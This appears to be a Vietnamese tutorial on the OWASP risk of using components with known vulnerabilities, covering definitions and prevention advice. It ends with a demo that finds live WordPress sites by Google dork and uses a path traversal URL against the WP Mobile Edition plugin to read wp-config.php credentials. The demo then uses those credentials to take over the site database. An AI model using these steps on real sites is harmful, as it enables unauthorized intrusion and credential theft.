A9-Lỗi tấn công các ứng dụng sử dụng các thành phần đã cũ - Using Components with Known Vulnerabilities

1. Định nghĩa

  • Hầu như tất cả các phần của phần mềm hiện nay đều sử dụng các thành phần bên ngoài hoặc thư viện. Nó mang lại lợi thế đáng kể cho người lập trình về thời gian và công sức.
  • Lỗ hổng từ các thành phần hợp thành như thư viện, framework, plug-in và các module phần mềm khác được gọi là các lỗ hổng thành phần.

2. Xác định vấn đề

  • Các thành phần hầu như luôn chạy với full đặc quyền. Nếu một thành phần lỗ hổng được khai thác, một cuộc tấn công như vậy có thể dễ dàng làm mất mát dữ liệu quan trọng.
  • Kẻ tấn công sử dụng các thành phần với các lỗ hổng được biết đến đó, có thể làm suy yếu hệ thống phòng thủ của ứng dụng và cho phép một loạt các cuộc tấn công có thể xẩy ra.
  • Không có phần mềm nào là hoàn hảo
  • Khi sử dụng các thành phần bên ngoài trong các dự án, nó đang mang lại chức năng tốt và các tính năng quan trọng, nhưng cũng đang mở cửa cho các lỗi và lỗ hổng bảo mật tiềm năng.
  • Tác nhân đe dọa: Từ các thành phần hỗ trợ như framework, plug-in, thư viện...
  • Phương pháp tấn công: Hacker xác định điểm yếu thông qua scan hoặc phân tích bằng tay.
  • Điểm yếu bảo mật: Hầu hết mọi ứng dụng đều có những vấn đề bởi vì hầu hết các developer không chú trọng vào đảm bảo code, các thành phần thư viện, framework,... được cập nhật thường xuyên.
  • Kỹ thuật tấn công: Những kẻ tấn công sử dụng các điểm yếu có thể khai thác được bao gồm injection, broken access control, XSS, etc…

3. Cách phát hiện và phòng tránh

  • Hãy dành thời gian xem xét các tài liệu hiện có của các thành phần dự án của bạn cũng như các diễn đàn liên quan đến công cụ, ngôn ngữ … mà bạn đang sử dụng. Hầu hết các nhà cung cấp sẽ nhanh chóng thông báo cho người dùng khi các lỗ hổng được tìm thấy.
  • Khi các lỗ hổng được phát hiện, bản cập nhật và sửa lỗi có xu hướng xuất hiện kịp thời người dùng nên tải về bản cập nhật sớm nhất có thể.
  • Một cách để phòng tránh nữa là bọc code của các thành phần được thêm vào ứng dụng. Bằng cách này, có thể cô lâp thành phần nếu nó xuất hiện các lỗ hổng, và kiểm soát những gì đi vào và ra khỏi các thành phần bên ngoài một cách hiệu quả.

4. Ví dụ demo

a. Kịch bản

  • Các trang wordpress cài đặt plug-in WP Mobile Edition (giúp website hiển thị giao diện mobile).
  • Version: Version 2.2.7

b. Xác định lỗ hổng

  • Plugin 'WP Mobile Edition' không lọc dữ liệu tham số 'files' trong file 'themes/mTheme-Unus/css/css.php'.

c. Khai thác

B1: Search google với từ khóa "inurl:?fdx_switcher=mobile", kết quả trả về là danh sách các website cài đặt plug-in WP Mobile Edition.

B2: View code của file wp-config.php bằng cách thêm vào sau tên miền của website một đường dẫn có dạng. http://[server]/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

B3: Sau đó, trình duyệt sẽ trả về một số thông tin của website đó như: Tên DB, địa chỉ IP củ host, Id, paswword của tài khoản admin. B4: Dùng công cụ Mysql-Front kết hợp với các thông tin trên để tuy cập vào databasse của website. Có thể đổi code hoặc thay đổi password của tài khoản admin.